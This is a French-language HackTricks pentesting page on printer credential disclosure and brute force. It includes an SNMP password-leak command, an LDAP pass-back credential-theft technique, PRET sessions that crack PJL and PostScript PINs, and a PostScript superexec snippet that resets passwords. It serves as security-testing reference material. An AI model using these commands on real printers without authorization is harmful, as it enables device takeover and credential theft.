hacktricks/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md
2023-06-03 13:10:46 +00:00

7.3 KiB

Divulgation de mots de passe / Brute-Force

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Les imprimantes sont couramment déployées avec un mot de passe par défaut ou sans mot de passe initial du tout. Dans les deux cas, les utilisateurs finaux ou les administrateurs doivent définir activement un mot de passe pour sécuriser l'appareil.

Divulgation de mot de passe

SNMP

Les anciennes imprimantes HP avaient un OID vulnérable qui renvoyait le mot de passe. D'autres fournisseurs peuvent avoir des problèmes similaires basés sur SNMP.

snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …

Pass-Back

Si l'imprimante autorise les personnes en utilisant un LDAP externe. Si vous avez accès pour modifier ces paramètres (peut-être en utilisant une interface de console web), vous pouvez faire en sorte que l'imprimante se connecte à votre serveur LDAP et autorise n'importe quel utilisateur.
Notez que vous pourriez également abuser de ces paramètres pour voler les identifiants que l'imprimante utilise pour se connecter au serveur LDAP. Lisez ici pour en savoir plus.

Brute-Force

PJL

Les mots de passe PJL sont vulnérables aux attaques par force brute en raison de leur taille de clé limitée à 16 bits. De nos jours, en moins de 30 minutes, vous pouvez deviner le bon mot de passe.

Vous pouvez utiliser les commandes lock et unlock de PRET pour tester la force brute :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
printer:/> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

PostScript

PostScript offre deux types de mots de passe: le SystemParamsPassword est utilisé pour modifier les paramètres d'impression tels que la taille du papier, tandis que le StartJobPassword est requis pour sortir de la boucle du serveur et donc modifier définitivement l'environnement PostScript.

Des attaques de force brute contre les mots de passe PostScript peuvent être effectuées extrêmement rapidement car l'interpréteur PostScript peut être programmé pour se craquer littéralement lui-même:

/min 0 def /max 1000000 def
statusdict begin {
  min 1 max
  {dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop

Une autre approche consiste à contourner les mots de passe PostScript en les réinitialisant avec l'opérateur propriétaire d'Adobe superexec. Cet opérateur réside dans le dictionnaire internaldict, qui est « protégé » par un mot de passe statique et magique (1183615869). L'enrobage du code PostScript dans superexec permet à un attaquant d'ignorer divers mécanismes de protection du langage, qui normalement généreraient une erreur invalidaccess. Cela peut être utilisé pour définir des mots de passe PostScript sans soumettre initialement le mot de passe actuel, comme indiqué ci-dessous:

{ << /SystemParamsPassword (0)
     /StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

Les commandes de verrouillage et de déverrouillage de PRET peuvent être utilisées pour tester des attaques de brute-force contre des mots de passe PostScript numériques (entiers) ou pour les contourner avec la magie superexec :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

Plus d'informations sur la divulgation de mots de passe et la force brute sur http://hacking-printers.net/wiki/index.php/Credential_disclosure

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥